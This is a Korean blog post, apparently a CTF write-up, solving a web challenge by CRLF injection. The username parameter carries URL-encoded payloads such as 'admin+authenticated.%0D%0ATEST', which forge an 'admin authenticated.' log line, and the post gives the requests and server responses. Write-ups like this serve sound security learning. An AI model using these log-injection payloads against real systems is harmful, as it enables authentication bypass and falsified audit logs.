ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CRLF
    Hacking/CTF 문제 풀이 2025. 7. 10. 10:11
    728x90
    반응형

    Working through problems

    CRLF(Carriage Return + Line Feed, %0D%0A) 인젝션을 이용해 서버 로그에 인증 성공 로그를 조작하여 인증 우회를 시도하는 문제입니다.

    문제를 시작하면 다음과 같은 서버 로그 출력 형식이 주어집니다.

    admin failed to authenticate.
    admin authenticated.
    guest failed to authenticate.
    
    • 서버는 로그인 요청에 대해 결과 로그를 남깁니다.
    • 특정 문자열 admin authenticated.가 로그에 존재할 경우 인증된 것으로 간주되고 플래그를 반환할 것으로 추정됩니다.

    먼저 브라우저에서 일반적인 로그인을 테스트 해봤습니다.

    • admin / admin

    로그인은 실패했고 아래와 같이 로그가 추가된다.

    admin failed to authenticate.
    admin authenticated.
    guest failed to authenticate.
    admin failed to authenticate.
    

    응답에는 실패 로그가 추가됩니다.

    admin failed to authenticate.
    

    로그인 결과를 통해 정상 로그인은 차단되며 로그 자체가 인증 근거가 된다는 점을 다시 한번 추정할 수 있습니다.

    CRLF에 대해 잘 모르고 있었는데 CRLF 인젝션은 %0D (Carriage Return) + %0A (Line Feed)를 이용해 로그 출력을 줄바꿈하고 새로운 로그 행을 삽입할 수 있는 기법이며 이를 통해 서버가 실제 처리하지 않은 인증 성공 로그를 "삽입"할 수 있습니다.

    GET /web-serveur/ch14/?username=admin%0D%0A&password=admin
    

    응답에는 성공과 실패 로그가 추가됩니다.

    admin
    failed to authenticate.
    
    • 줄바꿈이 발생하여 로그가 쪼개졌음을 확인할 수 있습니다.

    다음으로 아래와 같이 username에 인증 성공 로그 문자열을 삽입합니다.

    GET /web-serveur/ch14/?username=admin authenticated.%0D%0A&password=admin
    

    응답에는 성공과 실패 로그가 추가됩니다.

    admin authenticated.
    failed to authenticate.
    
    • 성공 로그를 완성 했지만 달라진 점이 없습니다.

    ✅ %0D%0A 중요 사항

    • 로그 분석기 또는 내부 인증 판단 로직이 로그를 줄 단위로 해석할 때 admin authenticated. 로그가 단독 라인으로 완성되어 있어야 우회가 성공합니다.
    • 줄바꿈만 있으면 다음 줄과 합쳐질 수 있으므로 의미 없는 문자를 추가하여 행 단위 로그를 완성해야 합니다.
    • +는 공백으로 처리되어 URL 인코딩에서도 유효합니다.

    다음으로 아래와 같이 username에 인증 성공 로그 문자열과 의미없는 글자를 삽입합니다.

    GET /web-serveur/ch14/?username=admin+authenticated.%0D%0ATEST&password=admin
    

    응답에는 성공과 실패 로그가 추가됩니다.

    admin authenticated.
    TEST failed to authenticate.
    
    • admin authenticated. 라는 완전한 로그 라인이 삽입되면서 인증이 우회되고 플래그가 반환됩니다.
    <pre>
    	...
    	admin authenticated.
    	TEST failed to authenticate.
    </pre>
    
    <h3>
    	Well done, 
    	you can validate challenge with this password : [Flag]
    </h3>
    
    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    XPath injection - Authentication  (0) 2025.07.12
    PHP - Serialization  (0) 2025.07.11
    File upload - Double extensions  (0) 2025.07.09
    File upload - MIME type  (0) 2025.07.08
    Nginx - Root Location Misconfiguration  (0) 2025.07.07
Designed by Tistory.